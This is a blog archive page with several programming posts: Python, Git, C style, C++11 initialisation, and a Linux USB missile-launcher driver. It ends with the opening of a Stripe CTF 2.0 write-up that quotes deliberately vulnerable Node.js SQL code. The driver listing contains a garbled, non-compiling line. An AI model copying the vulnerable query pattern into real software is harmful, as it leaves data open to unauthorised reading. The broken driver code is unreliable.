You are currently browsing the archives for the General category.

Rapid Application Development with Python

March 11th, 2014

Following on from my previous post on Python and our new course on Python for Test Engineers which takes an elementary approach, I felt it was time to pay homage to that wonderful language once again but this time focusing on its applicability for Rapid Application Development.

The Higher Level the Language; The More Productive the Programmer

I love writing Python. I’ll be honest, it’s the closest I’ll get to writing executable pseudo-code which best mirrors how my mind works and I’m sure I can’t be alone in this. When coding in Python, its dynamic nature means you can sculpt and remodel your code as you express your ideas; this process gives a better understanding of the codes impact as well as providing more accurate estimates for how long a given task will take as there are fewer unknowns in the language itself.

“But Python is for high level applications!” – sorry but the world of embedded is evolving, Embedded Linux is everywhere with its “everything is a file” interface for things that were predominantly the domain of device drivers – I can manipulate framebuffers, SPI and I2C busses and GPIO using Python and even microcontrollers, that last bastion of embedded, are getting in on the action with the recently Kickstarted Micropython which brings Python further into traditional “deeply embedded” territory.

Python as a System Programming Language

An argument I get from other developers is that Python isn’t a real systems programming language – yes, you can script in it but that’s not how “Real coders” write software. Well, when those real Scotsmen, uh, coders take time from etching ones and zeroes directly into their hard disc platters and explain what they mean it typically comes down to a misunderstanding of Pythons capabilities.

“I need threading”

Cool, we’ve got you covered but was that plain threading, process-based threading or maybe just a few recurrent timers?

“Uh, swell, but I also need IPC/Networking”

Sockets, Signals etc? Pick one, pick all of them? Maybe you just need to serialise some data?

“I also need serial comms”

OK, not built in but how about the cross-platform PySerial?

“And what about my existing programs?”

Nice, did you want to extend Python by wrapping your code in a library? Interacting with your program? Or why not embed Python into your existing program?

Python can handle all of those things with aplomb and also affords you ready-to-roll web services, file handling, parsing of data in XML/JSON form or plain text using regular expressions. Maybe you want to interact with the latest pluggable devices using PyUSB and you’ll lose track of the many ways to show a Graphical User Interface that it’s more akin to a beauty pageant.

As we move forward, multimedia is increasingly a key part in product development, many devices need to push and manipulate video and sound and once again, Python provides a huge leg up whether via simple graphics manipulation using Pillow, image processing using scikit-image or even live and post-processing of video using gstreamer or MoviePy respectively.

Mmm, a delicious cinemagraph that’s generatable in ~3 lines of Python with MoviePy

Reducing Time to Market

Time to market is the phrase that pays in the world of product development – it defines our coding deadlines, the features we can ship with and the very nature of our products and we’re always under pressure to reduce it.
Research indicates [1] that designing and writing a program in Python (or similar scripting language) typically takes half as long and requires half as much code as an equivalent C or C++ program.

Given that the number of lines we, as programmers, can write in a given time is constant and not dependent on the language or its type we can infer that with a higher level language such as Python, we get a much higher instructions-per-line metric and developers only have to spend half as long coding as our C++ wielding brethren. I can be more productive than if I was using C++ safe in the knowledge that the same task will require less code in Python.

This is how we get our minimum viable product, this is how we crush our time to market – we code smarter, not harder.

Of Data Types and Paradigms

Data types are important as they define the information we can hold in a variable. Built-in types are a godsend in Python – we have lists, dictionaries, sets and many more and we don’t need to track down and incorporate 3rd party libraries to provide neither them, nor the functions to manipulate them.

This ability to develop as you prototype means that you can develop supporting routines as you go and so to do the types of data you will need to handle which means you can pivot and rearchitect as you develop your software.

Python is a multi-paradigm language (urgh, sorry!) that allows us as programmers to use procedural, object-oriented and functional where it makes sense without shoe-horning one into the other.

One thing that has been on the increase is that Python is entering into areas traditionally aligned with domain specific tools such as Matlab and similar but as the power of Python is becoming apparent, modelling in one language and porting it to something like C is losing out to the decision to model, develop and code in just one language.

Add-on Libraries such as NumPy, SciPy and many others allow a combined model of modelling and deployment that affords huge benefits in a multi-disciplinary team as everyone speaks the same language: Python.

Good enough is good enough

Python isn’t just a prototyping language – you don’t need to throw away any of your code, companies are readily using Python for their deployed products as they evolve from RAD ideas to fully-fledged, production ready programs.

Python may not be everyone’s cup of tea and it has its limitations – it’s never going to offer the performance per watt you’d get from hand-coded assembly – but more often than not it’s good enough to get to market and, as companies are finding out, it’s good enough to keep you in the market.

Inquire today about how we can help you kick start your development process with Python.

[1] http://page.mi.fu-berlin.de/prechelt/Biblio/jccpprtTR.pdf

The Top 5 Things I’ve Learnt about Git

January 31st, 2014

During the last couple of years, internally we’ve moved over to using Git as our Revision Control Old_Git_Wit___RGB___small_2System (RCS). It’s been an interesting exercise, especially where, like me, you’ve come from a traditional model (such as subversion or even back to good old SCCS). I’m sure you’ve all got your own “top 5” and I don’t necessarily expect you to agree with me, but here’s my key learning points:

#1 “Branch always, branch often”
At the outset this was certainly the biggest mindset change*. In many RCSs, branching is particularly “heavyweight” and merging branches (and branches of branches, and branches… you get the gist) can be, to say the least, challenging. So you could end up being counter-productive by trying to avoid branching unless absolutely necessary.

It couldn’t be more different using Git, and once I’d “got it”, then it is an instinct to always work on a branch. I guess it all fits in with the aim to keep work cycles too much shorter timeframes, so branching and merging must be trivial. There is an excellent tutorial to help learn branching on Git.

#2 “Don’t ignore your .gitignore
You know you’re going to need it, so do it before you start any real work. It’ll just save you a whole load of tidying up later on (ok so maybe this is an age thing? don’t procrastinate!). There are even a language specific .gitignore templates at https://github.com/github/gitignore, so no excuses.

It’s also worth getting to know the basics of the pattern matching that can be used in the .gitignore file, they’re well documented.

#3 “GitHub is not Git”
Maybe it’s my onset of senility, but initially it wasn’t exactly clear where Git ended and GitHub started. Most of the early stuff I looked at to help understand and learn Git almost always used GitHub to host your project. In hindsight it’s all obvious (well of course it’s just a web-based hosting service for software development projects that use Git), but at the time I can say my understanding was a little “fuzzy” around the edges.

Two things really helped; first the excellent book Pro Git written by Scott Chacon which you can find online at http://git-scm.com/book. I found it so useful to I also bought the eBook (Kindle) version.

Second, moving to BitBucket away from GitHub. In fact we use both, GitHub for our publicly hosted projects and BitBucket for internal work. This just made it plainly obvious where Git ended and GitHub/BitBucket started.

#4 “Quickly learn how to undo”
There are many ways to mess it up, if you really try. Committing without adding, modifying files without branching (see #1), committing unwanted files (see #2), not pushing changes (see #3) and the list goes on (and I’ve done them all).

Be assured, you can always fix it, from a simple commit-amend to, probably one of the coolest things, being able to create a branch from a stash. But I’d highly recommend spending a bit of time understanding unstaging as opposed to unmodifying a file.

Using Git is very much about understanding workflow and typically messing up means you’ve not quite got your workflow model running smoothly. The nice folks at Atlassian have put together a set of guides on workflow.

#5 “Initially do all your work on the command line”
For Linux people (and hopefully most programmers on a Mac), this doesn’t need saying as why would you do it any other way? However for all those Windows-based people (and in the embedded world this is the majority) then there is a tendency to use graphical tools. Both GitHub and BitBucket offer graphical frontends to managing Git local/remote repo’s but without understanding the underlying Git model (which you only really get from using it at the command line) then it’s easy to get lost.

I didn’t find the GitHub Windows client tool especially friendly, whereas SourceTree from Alassian I found a more intuitive client. Nevertheless I’d still rather work at the shell.

So that’s my top 5; What have I missed (remember you’ve got to drop one to add one)?

What would I do differently? certainly I’d read “Pro Git” cover-to-cover much sooner than I did. Otherwise, as usual, just throw yourself in and have a go.

Now what was that someone said about Mercurial being better…

* Actually the initial challenge was getting used to say “Git” outside of its usual context in the UK.

Style vs. Substance in C programming

June 21st, 2013

In an email from UBM Tech this week there was a link to an article titled “A Simple Style for C Programming by Mansi Research“. It was actually authored back on May 2010 by Meetul Kinariwala but appeared this week under the what’s hot section, so I thought I’d take a look [advice to the reader; don't bother].bad-clothing_16

The problem with guides like this is that style is a very subjective area (as any parent will tell you how their kids like to point out your lack of style). Programming is no exception and you could argue with C being such a compact language, it suffers more than many other languages.

One of the many good things about the MISRA-C guidelines is that it clearly separated out the issue of style vs. coding guidelines, i.e. [Guidelines for the Use of the C Language in Critical Systems, ISBN 978-1-906400-10-1, page 9]

5.2.2   Process activities expected by MISRA C
It  is  recognized  that  a  consistent  style  assists  programmers in understanding  code  written  by others. However, since style is a matter for individual organizations, MISRA C does not make any recommendations related purely to programming style. It is expected that local style guides will be developed and used as part of the software development process.

I couldn’t have put it better myself.

Clearly for larger teams a style guide is a useful and important part of the development process.

A whole host of style issues can be addressed with a “pretty printer” tool such as Artistic Style. These simply allow you to define a standard model for items such as ‘{‘ alignment, tab-to-space ratio and spacing within expressions [e.g. if (a&&b) vs. if ( a && b ), etc.].

However there are many style issues that can’t be addressed with automation, for example naming convention. People of a certain age will have been unfortunate enough to have to use Hungarian notation, which, at its roots, had a good underlying principle (embedded type information in the name). That said, Hungarian notation is, in my opinion, an abomination.

One of those coding styles that always make me want to spit feathers is putting a literal on the left of a comparison expression, e.g.
if (10 == var)
I know, you think it’s a great idea as it stops you accidentally writing:
if(var = 10)

Yes it does, but that also tells me you’re not using any form of static analysis tool (e.g. PC-lint, Coverity, QAC, etc.) which means you’ve got much bigger problems that accidentally assigning 10 to the variable!

My major issue is that, for someone who ends up reviewing a lot of other people’s code, it acts as a mental ‘speed bump‘; I wouldn’t say “if ten is equal to var?“‘ I’d say “if var is equal to 10?“, so why write it that way? Surely we want to make code a readable as possible and I’d argue (10 == var) is just ‘bad‘ style.

Probably the biggest issue I regularly come across is that most company coding standards

  • do not differentiate between rules that are there for safety/security reasons (e.g. Functions shall not call themselves, either directly or indirectly) and rule purely for style (e.g. for pointer variables place the * close to the variable name not pointer type)
  • do not have automation of rule checking; if it’s not autometed it won’t get enforced.

As I’ve already said, I’m not against coding style guidelines, quite the contrary I think, when well done, they aid code readability across a project/company. But what’s really needed is a coding meta-style guide (i.e. a guide to what a coding style guide should address).

For example, a coding style guide should consider the structure of a C file, e.g. ordering items within a file based on some defined criteria, such as:

  • Context then definition
  • External then Internal
  • Public then Private
  • Functional grouping
  • Type grouping
  • Alphabetic sorting

The meta-style-guide tells you that you should consider file structure; the actual-style guide tells you, for you project, how a C file should be structured.

Googling the web hasn’t thrown up any meta-style guides, so here at Feabhas we’re undertaking to develop an open, community driven, meta-style guide. We haven’t defined the best model yet (github, google+, etc.), but as soon as we do I’ll ensure it’s published here.

In the meantime feedback/comments on the meta-guide would be welcome.

UPDATE
I have subsequently come across the following resource that is a great meta-guide C Style: Standards and Guidelines and I highly recommend a visit.

Python – The everyman’s language

May 17th, 2013

Python is a very nice language in many respects: enforced white-spacing promotes readability, extensibility and Python’s inbuilt Read-Eval-Print-Loop interpreter combined with its introspection capabilities provides a very easy way to learn and get to grips with the language.

But that can’t be all, can it? Why Python?

One of the reasons behind the success of our course has been customers wanting a good language for developing automated testing scripts and Python fits the bill brilliantly – it’s fast (enough), approachable and has great support for the embedded platforms of today and tomorrow (read: Linux  :))

In the scripting ring we have a number of contenders – Bash, Perl, Ruby, Lua, Javascript but each lacks that certain je ne sais quoi that makes Python so good – or maybe it’s just that the others don’t quite do what I want; Perl has a syntax that makes me want to scratch my eyes out, Bash is great on the command line but has control structures and compatibility issues that make the baby Jesus cry but some of the others are worth a look.

Lua is nice, I’m honestly a fan of Lua and have used it in previous projects where Python was just too big to embed (adding in Lua is a ‘tiny’ 400kb) but that’s the issue – Python is a general programming language – I can quickly bring in web services, advanced numerical libraries, GUIs and scientific libraries as well as the built-in things like networking and threading but Lua just simply isn’t designed for the vast contexts that Python fits and that’s part of Lua’s design – it’s not a general scripting language.

JavaScript is the in-vogue scripting language of the moment; it’s easy to test and develop in the web browser and it has a C style language that can appeal but I worry about any language where I can type in the following and not have it shout an error at me…

[nick@zeus ~]$ gjs
gjs> +((+!![]+[])+(!+[]+!![]))
12

12? of course it is. Go home JavaScript. You’re drunk.

I am seeing more and more interest in using JavaScript in the embedded space, one recent example being the new Beaglebone Black, which allows you to interact with the hardware using JavaScript and a Node.JS back-end.  JavaScript, though, it is still too tied to web technologies and less as a general system scripting language.

Ruby… well, I just simply haven’t found a good resource for learning about Ruby in the embedded space – that one is on me, sorry but maybe I was just scared by the famous Wat talk (here’s looking at you too JavaScript).

Problem?

One thing that does let down Python, in my opinion, is the lack of a good developer environment. I appreciate that Python is easy to use and the interactivity is a massive boon but showing IDLE to someone who has used Visual Studio and all it’s spoon feeding goodness does make me a little sad.

IDLE

Approachable huh?

Line numbers? Stability? A carat that will allow you to type when you misclick? – why do you need those when you can have… Detachable Menus!
It’s easy to make fun but IDLE seems un-maintained and could do with some TLC but it’s still useful as a learning tool to bridge the gap between Visual Studio and the command line.  On the plus side, the debugger does bring some good insight into the operation of the code for first-timers.

Summary

Whenever I need to script something, mock up an interface, test a design, develop some back-end code or create a full application – Python is always there for me.
Python’s versatility, compatibility and ‘kitchen sink’ approach make Python a fantastic choice for almost everyone, from non-programmers through to the physicists at CERN using it to create black holes.  It truly is the everyman’s (and woman’s) language.

So why not learn something new?

[nick@zeus ~]$ python
Python 2.7.3 (default, Aug 9 2012, 17:23:58)
[GCC 4.7.1 20120720 (Red Hat 4.7.1-5)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import antigravity

Default construction and initialisation in C++11

November 22nd, 2012

Default constructors

In C++ if you don’t provide a constructor for the class the compiler provides one for you (that does nothing):

image

This, of course, isn’t very useful so typically we write our own constructors to initialise the attributes of our class.  However, as soon as you write a (non-default) constructor the compiler stops providing the default constructor:

image

The normal solution is to write our own default constructor.  In C++11 there is syntax to allow you to explicitly create the compiler-supplied constructor without having to write the definition yourself:

image

So far, this doesn’t seem to have gained us very much; if anything it feels like syntax for the sake of it.

 

Non-static member initialisation

C++ has, for some time, allowed initialisation of static member variables in the class declaration.

image

This was allowed because the static member is allocated at compile time.  C++11 has extended this notation to include non-static members as well:

image

What this syntax means is: in the absence of any other initialisation the value of data should be set to 100.  This is, in essence, a little bit of syntactic sugar around the MIL to save you having to write the following:

image

Putting it all together

Combining non-static member initialisation with default constructors allows us to write code like this:

image

There are possibly two ways to view this:  either it’s a new (and uncomfortable) syntax to learn that just adds more variety (and confusion) to the language; or that C++’s default initialisation was ‘broken’ (and we learned to compensate) and this is the syntax that should have always have been.

I Dream of a Cheeky Missile Launcher

October 12th, 2012

I read a blog post by Matthias Vallentin a while back about getting a USB missile launcher working and thought that a similar gadget would be a nice candidate for the 2012 refresh of our successful EL503 Developing for Embedded Linux course so ordered a nice looking piece of hardware from Amazon – the Thunder Missile Launcher from Dream Cheeky.

Sadly these guys don’t provide Linux drivers and the hardware wasn’t an exact match for the launcher used in Matthias’ article so I had to do a bit of research.

Normally it would be a case of firing up my Windows partition and using a USB Sniffer but I didn’t want to shutdown my system as I was in the middle of quite a few projects so I hit the net and stumbled across the Retaliation project which used the Thunder Launcher to punish people who broke a CI build and a blog piece by Nathan Milford which had the requisite USB command codes but had programs that leveraged libUSB from userspace.

So now I knew what I had to feed my launcher and had some good resources on Linux USB[1] [2] [3] now I could start!

Echoing Matthias’ steps – I created a simple core driver that would print info out in the probe

/* Rocket launcher specifics */
#define LAUNCHER_VENDOR_ID 0x2123
#define LAUNCHER_PRODUCT_ID 0x1010
#define LAUNCHER_NODE "launcher"

static struct usb_class_driver class;

/* Table of devices that work with this driver */
static struct usb_device_id launcher_table[] =
{
{ USB_DEVICE(LAUNCHER_VENDOR_ID, LAUNCHER_PRODUCT_ID) },
{} /* Terminating entry */
};
MODULE_DEVICE_TABLE (usb, launcher_table);

static struct usb_driver launcher_driver =
{
.name = "launcher_driver",
.id_table = launcher_table,
};

static int launcher_open(struct inode *inodep, struct file *filp)
{
int retval = 0
pr_debug("launcher_open\n");
/* Save our object in the file's private structure. */
/* filp->private_data = dev; */
return retval;
}

static int launcher_close(struct inode *inodep, struct file *filp)
{
int retval = 0;
pr_debug("launcher_close\n");
/* We can get private data from filp->private_data; */
return retval;
}

static ssize_t launcher_read(struct file *f, char __user *buf, size_t cnt,
loff_t *off)
{
int retval = -EFAULT;
pr_debug("launcher_read\n");
return retval;
}

static ssize_t launcher_write(struct file *filp, const char __user *user_buf,
size_t count, loff_t *off)
{
int retval = -EFAULT;
pr_debug("launcher_write\n");
/* We can get private data from filp->private_data; */
return retval;
}

static struct file_operations fops =
{
.open = launcher_open,
.release = launcher_close,
.read = launcher_read,
.write = launcher_write,
};

static int launcher_probe(struct usb_interface *interface, const struct usb_device_id *id)
{
struct usb_device *udev = interface_to_usbdev(interface);
struct usb_host_interface *iface_desc;
int retval = -ENODEV;

pr_debug("launcher_probe\n");

/* Set up our class */
class.name = LAUNCHER_NODE"%d";
class.fops = &fops;

if ((retval = usb_register_dev(interface, &class)) minor);
}
/* This will be our private interface device data instead of NULL eventually */
/* usb_set_intfdata(interface, NULL); */
return retval;
}

static void launcher_disconnect(struct usb_interface *interface)
{
pr_debug("launcher_disconnect\n");
/* Give back our minor. */
usb_deregister_dev(interface, &class);
}

static int __init launcher_init(void)
{
int result;
pr_debug("launcher_disconnect\n");

/* Wire up our probe/disconnect */
launcher_driver.probe = launcher_probe;
launcher_driver.disconnect = launcher_disconnect;

/* Register this driver with the USB subsystem */
if ((result = usb_register(&launcher_driver))) {
pr_err("usb_register() failed. Error number %d", result);
}
return result;
}

static void __exit launcher_exit(void)
{
/* Deregister this driver with the USB subsystem */
usb_deregister(&launcher_driver);
}

module_init(launcher_init);
module_exit(launcher_exit);

I compiled this with the makefile, inserted the module and saw that my init call had successfully been called so I popped the launchers USB into my laptop and…. nothing.

I checked dmesg and saw it had been claimed by hid-generic, part of the usbhid module on my laptop!


[205211.636201] usb 2-1.2: >USB disconnect, device number 23
[205214.371289] usb 2-1.2: >new low-speed USB device number 24 using ehci_hcd
[205214.462969] usb 2-1.2: >New USB device found, idVendor=2123, idProduct=1010
[205214.462979] usb 2-1.2: >New USB device strings: Mfr=1, Product=2, SerialNumber=0
[205214.462985] usb 2-1.2: >Product: USB Missile Launcher
[205214.462990] usb 2-1.2: >Manufacturer: Syntek
[205214.468668] hid-generic 0003:2123:1010.000B: >hiddev0,hidraw0: USB HID v1.10 Device [Syntek USB Missile Launcher] on usb-0000:00:1d.0-1.2/input0

To get hidusb to release it, you can tell it to unbind using sysfs.


[nick@slimtop ~]$ ls /sys/bus/usb/drivers/usbhid/
2-1.2:1.0 bind module new_id remove_id uevent unbind
^^^ Our address
[nick@slimtop ~] sudo sh -c 'echo 2-1.2:1.0 > /sys/bus/usb/drivers/usbhid/unbind'
[nick@slimtop ~]$ ls
bind module new_id remove_id uevent unbind

To get it to bind to our driver we would have to poke it manually

[nick@slimtop ~]$ sudo sh -c 'echo "2-1.2:1.0" > /sys/bus/usb/drivers/launcher_driver/bind'

Checking dmesg again showed that the probe function had been called and we had our /dev/launcher0!

I now needed to update the information expected by the driver. The original launcher used by Matthias’ had different codes for most of the commmands so using the userspace information we could update the command codes and tweak the control codes.

#define LAUNCHER_NODE "launcher"
#define LAUNCHER_CTRL_BUFFER_SIZE 8
#define LAUNCHER_CTRL_REQUEST_TYPE 0x21
#define LAUNCHER_CTRL_REQUEST 0x09
#define LAUNCHER_CTRL_VALUE 0x0
#define LAUNCHER_CTRL_INDEX 0x0
#define LAUNCHER_CTRL_COMMAND_PREFIX 0x02

#define LAUNCHER_STOP 0x20
#define LAUNCHER_UP 0x02
#define LAUNCHER_DOWN 0x01
#define LAUNCHER_LEFT 0x04
#define LAUNCHER_RIGHT 0x08
#define LAUNCHER_UP_LEFT (LAUNCHER_UP | LAUNCHER_LEFT)
#define LAUNCHER_DOWN_LEFT (LAUNCHER_DOWN | LAUNCHER_LEFT)
#define LAUNCHER_UP_RIGHT (LAUNCHER_UP | LAUNCHER_RIGHT)
#define LAUNCHER_DOWN_RIGHT (LAUNCHER_DOWN | LAUNCHER_RIGHT)
#define LAUNCHER_FIRE 0x10

Our USB command code takes the form of:
REQUEST_TYPE | REQUEST | VALUE | INDEX | DATA
where DATA is an 8 byte buffer with the first set to 0x8, our COMMAND_PREFIX.

For example, to send a fire command (0x10) we would use a usb_control_msg like this

int usb_control_msg ( struct usb_device *dev,
unsigned int pipe,
0x09, // Request
0x21, // Request Type
0x0, // Value
0x0, // Index
&buffer, // Buffer
sizeof(buffer), // Length of buffer
int timeout);

where buffer would be a blank char buffer of 8 bytes with the first and second bytes set to the COMMAND_PREFIX and command code respectively which you can see in this snipped from our launcher_write() function

...
if (copy_from_user(&cmd, user_buf, count)) {
retval = -EFAULT;
goto unlock_exit;
}

/* Prepare the buffer, noting the prefix */
memset(&buf, 0, sizeof(buf));
buf[0] = LAUNCHER_CTRL_COMMAND_PREFIX;
buf[1] = cmd;

/* The interrupt-in-endpoint handler also modifies dev->command. */
spin_lock(&dev->cmd_spinlock);
dev->command = cmd;
spin_unlock(&dev->cmd_spinlock);

pr_debug("Sending usb_control_message()\n");
retval = usb_control_msg(dev->udev,
usb_sndctrlpipe(dev->udev, 0),
LAUNCHER_CTRL_REQUEST,
LAUNCHER_CTRL_REQUEST_TYPE,
LAUNCHER_CTRL_VALUE,
LAUNCHER_CTRL_INDEX,
&buf,
sizeof(buf),
HZ*5);
...

I won’t cover too much on the USB code as it is covered in far more depth in Matthias’ article and Greg KHs usb-skeleton.c in the kernel source tree.

To control our driver, we can send bytes from userspace to the /dev/launcher0 entry and I was able to repurpose Matthias’ launcher program to send the correct command codes to the device which I have added to the Git repository. When you create the executable and module using make, and assuming you have the right libraries, you will have a launcher_driver.ko and a launcher_control executable.

Insert the kernel module using insmod ./launcher_driver.ko and you can then start issuing commands to the launcher.

Unfortunately by default, the device node /dev/launcher0 is created as root:root with permission 0600 which means that you can either chmod/chgrp it or run the launcher as root(!) which is the simplest test:

sudo ./launcher_control -f

usbhid and the Handsy Driver

As we’ve looked at, usbhid tries to claim our device by default due to it looking like a Human Interface Device and I had to do a fair amount of digging to find out how to stop usbhid from claiming our device which I’ll recap for those who seek enlightenment.

If you look in the source code for /drivers/usb/usbhid/hid-quirks.c we can see a structure that defines a blacklist of HID devices.

static const struct hid_blacklist {
__u16 idVendor;
__u16 idProduct;
__u32 quirks;
} hid_blacklist[] = {
{ USB_VENDOR_ID_AASHIMA, USB_DEVICE_ID_AASHIMA_GAMEPAD, HID_QUIRK_BADPAD },
{ USB_VENDOR_ID_AASHIMA, USB_DEVICE_ID_AASHIMA_PREDATOR, HID_QUIRK_BADPAD },
{ USB_VENDOR_ID_ALPS, USB_DEVICE_ID_IBM_GAMEPAD, HID_QUIRK_BADPAD },
...
{ USB_VENDOR_ID_WISEGROUP_LTD2, USB_DEVICE_ID_SMARTJOY_DUAL_PLUS, HID_QUIRK_NOGET | HID_QUIRK_MULTI_INPUT },
...

This shows a format of VENDOR_ID, DEVICE_ID and the HID_QUIRK mode which can be multiple values OR’d together and if we look further down the source, we can see the following function:

int usbhid_quirks_init(char **quirks_param)
{
u16 idVendor, idProduct;
u32 quirks;
int n = 0, m;
for (; n < MAX_USBHID_BOOT_QUIRKS && quirks_param[n]; n++) {
m = sscanf(quirks_param[n], "0x%hx:0x%hx:0x%x",
&idVendor, &idProduct, &quirks);
if (m != 3 ||
usbhid_modify_dquirk(idVendor, idProduct, quirks) != 0) {
printk(KERN_WARNING
"Could not parse HID quirk module param %s\n",
quirks_param[n]);
}
}
return 0;
}

Which is an array passed in from hid-core.c in the following snippet:

/* Quirks specified at module load time */
static char *quirks_param[MAX_USBHID_BOOT_QUIRKS] = { [ 0 ... (MAX_USBHID_BOOT_QUIRKS - 1) ] = NULL };
module_param_array_named(quirks, quirks_param, charp, NULL, 0444);
MODULE_PARM_DESC(quirks, "Add/modify USB HID quirks by specifying "
" quirks=vendorID:productID:quirks"
" where vendorID, productID, and quirks are all in"
" 0x-prefixed hex");

This shows us that the quirk param values are read in the form of 0xVENDORID:0xPRODUCTID:0xQUIRKS so now we know how to get usbhid to use a quirk for our device, we need to know which one.

Defined in include/linux/hid.h are our quirks, we want to tell usbhid to just leave it alone so we’re going to use HID_QUIRK_IGNORE which has the value of 0x04.

Once we have this information we should be able to modprobe -r usbhid && modprobe usbhid quirks=0x2123:0x1010:0x04 … except that we can’t remove the module on our Fedora system…

[nick@slimtop ~]$ modprobe -r usbhid
FATAL: Module usbhid is builtin.

Oh dear. This means that the usbhid module isn’t loaded at runtime, instead it has been built into the kernel so we can’t change it from userspace as the kernel, with usbhid, is already running before the filesystem has been mounted so we will need to pass the parameter to the kernel in the form:
module.parameter=OPTIONS.
To do this, I edited my kernel command in /boot/grub2/grub.cfg to tell the builtin module about our device and add it to the quirks list.


...
echo 'Loading Fedora (3.6.2-4.fc17.i686)'
linux /vmlinuz-3.6.2-4.fc17.i686 root=/dev/mapper/vg_slimtop-lv_root ro rd.md=0 rd.dm=0 rd.lvm.lv=vg_slimtop/lv_root SYSFONT=True usbhid.quirks=0x2123:0x1010:0x04 KEYTABLE=uk rd.luks=0 rd.lvm.lv=vg_slimtop/lv_swap LANG=en_US.UTF-8 rhgb quiet
...

Finally, we can get our kernel module to load automatically by copying our launcher_driver.ko into the /lib/modules/`uname -r`/ directory and running depmod -a.

On rebooting, you should be able to insert your launcher and up will pop a /dev/launcher0 without usbhid getting handsy with it.

udev

udev is the device manager for the Linux kernel. Primarily, it manages device nodes in /dev so we’re going to use that to manipulate the creation of our /dev/launcher0 entry.

There is a lot of information spread over the net on udev but it’s sometimes out of date and no longer relevant. It’s best to ask questions in IRC, copy existing rules (see /usr/lib/udev/rules.d/*) or just read the source to get the most up-to-date information.

To avoid having to run our launcher as root we can create a special rule for udev[1] to manipulate how the node is created. To do this you will need to create a new file in /etc/udev/rules.d/10-dreamcheeky.rules containing the following:


KERNEL=="launcher?*",MODE="0666",GROUP="wheel"

This tells udev that we want any events from the KERNEL that match /dev/”launcher?*” which is what our driver requests (the regular expression matches any number after our launcher string, such as 1,2,3 etc).
When that event KEY has been matched, we apply the two ASSIGN values which specify the permissions mode, 0666 or rw-rw-rw-, and that it should belong to the wheel group.

To test our rule, we need to know how udev sees our USB device so we do the following:

[nick@slimtop ~]$ find /sys/devices/ -name launcher0
/sys/devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.2/2-1.2:1.0/usbmisc/launcher0

To test our udev rule we run udevadm test as follows against our device path

[nick@slimtop rules.d]$ sudo udevadm test /sys/devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.2/2-1.2:1.0/usbmisc/launcher0
run_command: calling: test
adm_test: version 182
This program is for debugging only, it does not run any program,
specified by a RUN key. It may show incorrect results, because
some values may be different, or not available at a simulation run.

builtin_kmod_init: load module index
...
parse_file: reading '/etc/udev/rules.d/10-dreamcheeky.rules' as rules file <--- OUR RULES FILE
...
parse_file: reading '/usr/lib/udev/rules.d/99-systemd.rules' as rules file
udev_rules_new: rules use 249228 bytes tokens (20769 * 12 bytes), 42425 bytes buffer
udev_rules_new: temporary index used 76720 bytes (3836 * 20 bytes)
udev_device_new_from_syspath: device 0xb9009810 has devpath '/devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.2/2-1.2:1.0/usbmisc/launcher0'
udev_device_new_from_syspath: device 0xb9009b00 has devpath '/devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.2/2-1.2:1.0/usbmisc/launcher0'
udev_device_read_db: device 0xb9009b00 filled with db file data
udev_rules_apply_to_event: GROUP 10 /etc/udev/rules.d/10-dreamcheeky.rules:1
udev_rules_apply_to_event: MODE 0666 /etc/udev/rules.d/10-dreamcheeky.rules:1
udev_device_new_from_syspath: device 0xb901a540 has devpath '/devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.2/2-1.2:1.0'
udev_device_new_from_syspath: device 0xb901a088 has devpath '/devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.2'
udev_device_new_from_syspath: device 0xb90239b0 has devpath '/devices/pci0000:00/0000:00:1d.0/usb2/2-1'
udev_device_new_from_syspath: device 0xb9023cb0 has devpath '/devices/pci0000:00/0000:00:1d.0/usb2'
udev_device_new_from_syspath: device 0xb9024000 has devpath '/devices/pci0000:00/0000:00:1d.0'
udev_device_new_from_syspath: device 0xb901f220 has devpath '/devices/pci0000:00'
udev_device_read_db: no db file to read /run/udev/data/+usb:2-1.2:1.0: No such file or directory
udev_node_add: handling device node '/dev/launcher0', devnum=c180:0, mode=0666, uid=0, gid=10
node_fixup: preserve permissions /dev/launcher0, 020666, uid=0, gid=10
node_symlink: preserve already existing symlink '/dev/char/180:0' to '../launcher0'
udev_device_update_db: created empty file '/run/udev/data/c180:0' for '/devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.2/2-1.2:1.0/usbmisc/launcher0'
ACTION=add
DEVNAME=/dev/launcher0
DEVPATH=/devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.2/2-1.2:1.0/usbmisc/launcher0
MAJOR=180
MINOR=0
SUBSYSTEM=usbmisc
UDEV_LOG=6
USEC_INITIALIZED=684838211
builtin_kmod_exit: unload module index

That’s it – you should be able to remove/insert your USB device and have /dev/launcher0 show up with the permissions and group you chose.

Conclusion

This has been a very long blog article but I hope this is helpful and serves to tie together a lot of good resources that seem spread thinly across the net so have fun and experiment!

The code for the userspace and driver is available on our Feabhas Github at https://github.com/feabhas/dreamlauncher with a single Makefile to build both projects.

I built this on Fedora 17 so your mileage may vary depending on your distribution/environment.

[1] Special thanks go to the #udev IRC channel on freenode (in particular the user falconindy) and these two resource pages:

Capturing the Stripe-d Flag 2.0 – The After Party

August 30th, 2012

Following on from our previous article looking at Stripe’s Capture the Flag 2.0 challenge, Team Feabhas cracked the last of the levels and its members should hopefully be receiving their complementary t-shirts soon.

It has proven to be a popular article with lots of people coming to the blog for solutions and walk-through, and now that the competition has finished we have decided to share the way we approached each of these levels, their solution and the way in which the attack vector can be mitigated.

Level 0

The Brief

We are told that the key to level 1 is stored in the database and we have to ‘crack’ it. Looking at the code we can see that it holds data in a key|value pair but we don’t know the key so we can’t get the value.

app.post('/*', function(req, res) {
        var namespace = req.body['namespace'];
        var secret_name = req.body['secret_name'];
        var secret_value = req.body['secret_value'];

        var query = 'INSERT INTO secrets (key, secret) VALUES (? || "." || ?, ?)';
        db.run(query, namespace, secret_name, secret_value, function(err) {
                if (err) throw err;
                res.header('Content-Type', 'text/html');
                res.redirect(req.path + '?namespace=' + namespace);
         });
});

The Hack

The code provided lists the following function:

app.get('/*', function(req, res) {
  var namespace = req.param('namespace');

  if (namespace) {
    var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
    db.all(query, namespace, function(err, secrets) {
             if (err) throw err;

